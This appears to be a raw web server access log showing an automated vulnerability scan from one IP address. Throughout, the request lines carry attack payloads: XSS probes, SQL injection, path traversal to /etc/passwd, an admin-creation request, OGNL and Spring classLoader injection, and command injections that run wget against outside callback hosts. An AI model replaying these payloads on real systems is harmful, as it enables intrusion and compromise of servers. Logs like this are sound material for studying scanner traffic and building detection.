[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /widgets/debug.php?a=<script>alert(document.domain)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('999999999'),0x7e),1)/**/or/**/1 HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /js/filemanager/api/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=example HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /alerts/alertLightbox.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_CGI/FNDWRR.exe HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername=BzYf9U&adminpassword=cLDWHc&adminemail=test@test.com&adminname=test HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /alerts/alertConfigField.php HTTP/1.1" 196
[09/Jan/2026:10:51:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ajax/avatar.php?id=-1+union+select+md5(999999999)%23 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927386681 HTTP/1.1" -
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /share/api/notes/%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.txt HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-lite/dup-installer/main.installer.php?is_daws=1 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxoWbGr9Wp8qiciul92xJTHZ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icinga2/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/agent/tabs/agentData HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1&note=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/doenterpagevariables.action HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-login.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /category_view.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_item HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dologin.action HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?class.module.classLoader.resources.context.configFile=http://d5g6sfahausljekepl20r7rhwqq5jft8f.oast.site&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1" 3426
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/options.py HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/list HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scgi-bin/platform.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dms/admin/accounts/payment_history.php?account_id=2%27 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/stopbadbots/assets/js/stopbadbots.js HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ccms/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/getCheckCode?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index_sso.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=requests/manage_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /live_check.shtml HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /code?dag_id=example_passing_params_via_test_command HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OASREST/v2/authenticate HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,md5('999999999'),5,6,7,8,9,10--+ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=reports&date=2022-05-24-6'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(0)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fileupload/toolsAny HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logfile?d=crossdomain.xml HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=user/manage_user&id=-6%27%20union%20select%201,md5('999999999'),3,4,5,6,7,8,9,10,11--+ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_supplier HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA_HTML/BneViewerXMLService?bne:uueupload=TRUE HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/simple-ajax-chat/sac-export.csv HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actuator/gateway/refresh HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page?id=380Cy64cjnSG3eTmrwwZc5hHPIt&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://d5g6sfahausljekepl20oo77by3xbmh8q.oast.site%27);s HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backend/elfinder/elfinder-cke.html HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mims/updatecustomer.php?customer_number=-1'%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(md5(999999999),1,2),NULL,NULL,NULL,NULL,NULL,NULL' HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1" 199
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/content/ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goforms/rlminfo HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /creaprezzi.php?prezzoperiodo4=%22><script>javascript:alert(%27XSS%27)</script> HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redirect=%2F HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/web/service/search/auto-completion/domain/en.xml?q=adm HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C%5Cinteract.sh/%252e%252e%252f HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/html2wp/380CxmJLFrFrZrN6yN4tryoE0ut.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /conf_mail.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=teams/view_team&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wpjobboard/ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /navigate/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/icons_title.gif HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php. HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pfblockerng/www/index.php HTTP/1.1" 226
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=requests/view_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ibeCRgpPrimaryCreate.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/admin/login.jsp?loginStatus=false&errorCode=%27);alert(document.domain)// HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/resend-activation?next=https%3A%2F%2Finteract.sh HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/?page=teams/manage_team&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ztp/cgi-bin/handler HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SAAS/t/_/;/WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_inquiry HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /live_mfg.shtml HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vcac/?original_uri=https://trade.kingston.com.hk:443%2Fvcac HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/login_process?username=test%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_request HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/Master.php?f=delete_team HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/asign-single-student-subjects.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://d5g6sfahausljekepl2076f8j61z8s35n.oast.site%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1" 226
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ubus/ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/requests/take_action.php?id=6'+UNION+ALL+SELECT+md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/dup-installer/main.installer.php?is_daws=1 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /v1/agent/check/register HTTP/1.1" 220
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/appagebuilder/apajax.php?rand=6294429527783 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET .//WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://d5g6sfahausljekepl20c4et6p7u84k87.oast.site) HTTP/1.1" 226
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources//../WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/video/?dl=aHR0cHM6Ly9vYXN0Lm1lLw== HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CyA5CapCnV6xXCCSSVZu0GoM.txt HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/public/bc/ur/Login/assets/corbu/sap_logo.png HTTP/1.1" 226
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /share/api/images/%3Cimg%20src=x%20onerror=alert(document.domain)%3E/filename HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pages/createpage.action?spaceKey=myproj HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5(999999999),15,16,17,18,19--+ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5(999999999),11,12,13,14,15,16,17,18,19--+ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dfsms/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logout?next=%208%22onmouseover=%22alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/ajax.php?action=login HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /hms/doctor/ HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /card_scan.php?No=123&ReaderNo=`sleep%207`&CardFormatNo=123 HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /folder_view.php HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /i3geo/exemplos/codemirror.php?pagina=../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loginsave.php?u=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/admin/group/all HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /scgi-bin/platform.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?success=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?toast=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icinga-web/lib/icinga/icinga-php-thirdparty/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin-hax/ExportSettings.sh HTTP/1.1" 196
[09/Jan/2026:10:51:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/get_status?LD_DEBUG=help HTTP/1.1" 199
